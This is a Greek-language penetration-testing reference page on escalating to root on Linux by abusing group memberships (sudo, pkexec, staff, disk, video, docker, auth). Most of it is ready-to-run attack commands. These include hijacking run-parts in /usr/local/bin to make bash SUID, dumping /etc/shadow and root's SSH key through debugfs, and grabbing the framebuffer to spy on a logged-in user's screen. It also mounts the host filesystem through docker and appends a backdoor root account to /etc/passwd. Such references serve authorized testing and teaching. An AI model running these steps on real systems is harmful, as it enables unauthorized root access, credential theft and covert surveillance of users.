Ενδιαφέροντα Γκρουπ - Linux Privesc

Reading time: 11 minutes

Sudo/Διαχειριστικά Γκρουπ

PE - Μέθοδος 1

Μερικές φορές, κατά προεπιλογή (ή επειδή κάποια λογισμικά το χρειάζονται) μέσα στο /etc/sudoers αρχείο μπορείτε να βρείτε μερικές από αυτές τις γραμμές:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

Αυτό σημαίνει ότι οποιοσδήποτε χρήστης ανήκει στην ομάδα sudo ή admin μπορεί να εκτελέσει οτιδήποτε ως sudo.

Αν αυτό ισχύει, για να γίνεις root μπορείς απλά να εκτελέσεις:

sudo su

PE - Μέθοδος 2

Βρείτε όλα τα suid δυαδικά αρχεία και ελέγξτε αν υπάρχει το δυαδικό αρχείο Pkexec:

find / -perm -4000 2>/dev/null

Αν διαπιστώσετε ότι το δυαδικό αρχείο pkexec είναι ένα SUID δυαδικό αρχείο και ανήκετε σε sudo ή admin, μπορείτε πιθανώς να εκτελέσετε δυαδικά αρχεία ως sudo χρησιμοποιώντας το pkexec.
Αυτό συμβαίνει επειδή συνήθως αυτές είναι οι ομάδες μέσα στην πολιτική polkit. Αυτή η πολιτική βασικά προσδιορίζει ποιες ομάδες μπορούν να χρησιμοποιούν το pkexec. Ελέγξτε το με:

cat /etc/polkit-1/localauthority.conf.d/*

Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν pkexec και κατά προεπιλογή σε ορισμένες διανομές linux οι ομάδες sudo και admin εμφανίζονται.

Για να γίνετε root μπορείτε να εκτελέσετε:

pkexec "/bin/sh" #You will be prompted for your user password

Αν προσπαθήσετε να εκτελέσετε pkexec και λάβετε αυτό το σφάλμα:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

Δεν είναι επειδή δεν έχετε δικαιώματα αλλά επειδή δεν είστε συνδεδεμένοι χωρίς GUI. Και υπάρχει μια λύση για αυτό το ζήτημα εδώ: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Χρειάζεστε 2 διαφορετικές ssh συνεδρίες:

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

Wheel Group

Μερικές φορές, κατά προεπιλογή μέσα στο /etc/sudoers αρχείο μπορείτε να βρείτε αυτή τη γραμμή:

%wheel	ALL=(ALL:ALL) ALL

Αυτό σημαίνει ότι οποιοσδήποτε χρήστης ανήκει στην ομάδα wheel μπορεί να εκτελεί οτιδήποτε ως sudo.

Αν αυτό ισχύει, για να γίνεις root μπορείς απλά να εκτελέσεις:

sudo su

Shadow Group

Οι χρήστες από την ομάδα shadow μπορούν να διαβάσουν το /etc/shadow αρχείο:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

So, read the file and try to crack some hashes.

Staff Group

staff: Επιτρέπει στους χρήστες να προσθέτουν τοπικές τροποποιήσεις στο σύστημα (/usr/local) χωρίς να χρειάζονται δικαιώματα root (σημειώστε ότι τα εκτελέσιμα αρχεία στο /usr/local/bin είναι στη μεταβλητή PATH οποιουδήποτε χρήστη και μπορεί να "υπερκαλύψουν" τα εκτελέσιμα αρχεία στο /bin και /usr/bin με το ίδιο όνομα). Συγκρίνετε με την ομάδα "adm", η οποία σχετίζεται περισσότερο με την παρακολούθηση/ασφάλεια. [source]

Στις διανομές debian, η μεταβλητή $PATH δείχνει ότι το /usr/local/ θα εκτελείται με την υψηλότερη προτεραιότητα, είτε είστε προνομιούχος χρήστης είτε όχι.

$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Αν μπορέσουμε να υποκλέψουμε μερικά προγράμματα στο /usr/local, μπορούμε εύκολα να αποκτήσουμε δικαιώματα root.

Η υποκλοπή του προγράμματος run-parts είναι ένας εύκολος τρόπος για να αποκτήσουμε δικαιώματα root, επειδή τα περισσότερα προγράμματα θα εκτελούν ένα run-parts όπως (crontab, όταν γίνεται σύνδεση μέσω ssh).

$ cat /etc/crontab | grep run-parts
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

ή Όταν συνδέεται μια νέα συνεδρία ssh.

$ pspy64
2024/02/01 22:02:08 CMD: UID=0     PID=1      | init [2]
2024/02/01 22:02:10 CMD: UID=0     PID=17883  | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0     PID=17884  | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0     PID=17886  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17887  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17888  | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0     PID=17889  | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0     PID=17890  | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0     PID=17891  | -bash

Εκμετάλλευση

# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash

# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts

# 0x3 start a new ssh sesstion to trigger the run-parts program

# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15  2017 /bin/bash

# 0x5 root it
$ /bin/bash -p

Disk Group

Αυτή η προνομία είναι σχεδόν ισοδύναμη με την πρόσβαση root καθώς μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα μέσα στη μηχανή.

Files:/dev/sd[a-z][1-9]

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Σημειώστε ότι χρησιμοποιώντας το debugfs μπορείτε επίσης να γράφετε αρχεία. Για παράδειγμα, για να αντιγράψετε το /tmp/asd1.txt στο /tmp/asd2.txt μπορείτε να κάνετε:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

Ωστόσο, αν προσπαθήσετε να γράψετε αρχεία που ανήκουν στον root (όπως το /etc/shadow ή το /etc/passwd) θα λάβετε ένα σφάλμα "Permission denied".

Video Group

Χρησιμοποιώντας την εντολή w μπορείτε να βρείτε ποιος είναι συνδεδεμένος στο σύστημα και θα εμφανίσει μια έξοδο όπως η παρακάτω:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

Η tty1 σημαίνει ότι ο χρήστης yossi είναι συνδεδεμένος φυσικά σε ένα τερματικό στη μηχανή.

Η ομάδα video έχει πρόσβαση για να δει την έξοδο της οθόνης. Βασικά, μπορείτε να παρατηρήσετε τις οθόνες. Για να το κάνετε αυτό, πρέπει να πάρτε την τρέχουσα εικόνα στην οθόνη σε ακατέργαστα δεδομένα και να βρείτε την ανάλυση που χρησιμοποιεί η οθόνη. Τα δεδομένα της οθόνης μπορούν να αποθηκευτούν στο /dev/fb0 και μπορείτε να βρείτε την ανάλυση αυτής της οθόνης στο /sys/class/graphics/fb0/virtual_size

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Για να ανοίξετε την ακατέργαστη εικόνα μπορείτε να χρησιμοποιήσετε το GIMP, να επιλέξετε το αρχείο screen.raw και να επιλέξετε ως τύπο αρχείου Raw image data:

Στη συνέχεια, τροποποιήστε το Πλάτος και το Ύψος στις διαστάσεις που χρησιμοποιούνται στην οθόνη και ελέγξτε διαφορετικούς Τύπους Εικόνας (και επιλέξτε αυτόν που δείχνει καλύτερα την οθόνη):

Ομάδα Root

Φαίνεται ότι από προεπιλογή οι μέλη της ομάδας root θα μπορούσαν να έχουν πρόσβαση για τροποποίηση ορισμένων αρχείων ρυθμίσεων υπηρεσιών ή ορισμένων αρχείων βιβλιοθηκών ή άλλων ενδιαφερόντων πραγμάτων που θα μπορούσαν να χρησιμοποιηθούν για την κλιμάκωση δικαιωμάτων...

Ελέγξτε ποια αρχεία μπορούν να τροποποιήσουν τα μέλη του root:

find / -group root -perm -g=w 2>/dev/null

Docker Group

Μπορείτε να συνδέσετε το ριζικό σύστημα αρχείων της μηχανής φιλοξενίας σε έναν τόμο της παρουσίας, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα chroot σε αυτόν τον τόμο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή.

docker image #Get images from the docker service

#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd

#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

Τέλος, αν δεν σας αρέσει καμία από τις προηγούμενες προτάσεις, ή αν δεν λειτουργούν για κάποιο λόγο (docker api firewall;) μπορείτε πάντα να τρέξετε ένα προνομιακό κοντέινερ και να διαφύγετε από αυτό όπως εξηγείται εδώ:

Docker Security

Αν έχετε δικαιώματα εγγραφής πάνω στο docker socket διαβάστε αυτή την ανάρτηση σχετικά με το πώς να κλιμακώσετε τα προνόμια εκμεταλλευόμενοι το docker socket.

GitHub - KrustyHack/docker-privilege-escalation: A docker example for privilege escalation

Privilege escalation via Docker - Chris Foster

lxc/lxd Group

Interesting Groups - Linux Privesc

Adm Group

Συνήθως οι μέλη της ομάδας adm έχουν δικαιώματα να διαβάζουν αρχεία καταγραφής που βρίσκονται μέσα στο /var/log/.
Επομένως, αν έχετε παραβιάσει έναν χρήστη μέσα σε αυτή την ομάδα, θα πρέπει σίγουρα να ρίξετε μια ματιά στα logs.

Auth group

Μέσα στο OpenBSD η ομάδα auth συνήθως μπορεί να γράφει στους φακέλους /etc/skey και /var/db/yubikey αν χρησιμοποιούνται.
Αυτά τα δικαιώματα μπορεί να εκμεταλλευτούν με την παρακάτω εκμετάλλευση για να κλιμακώσουν τα προνόμια σε root: https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot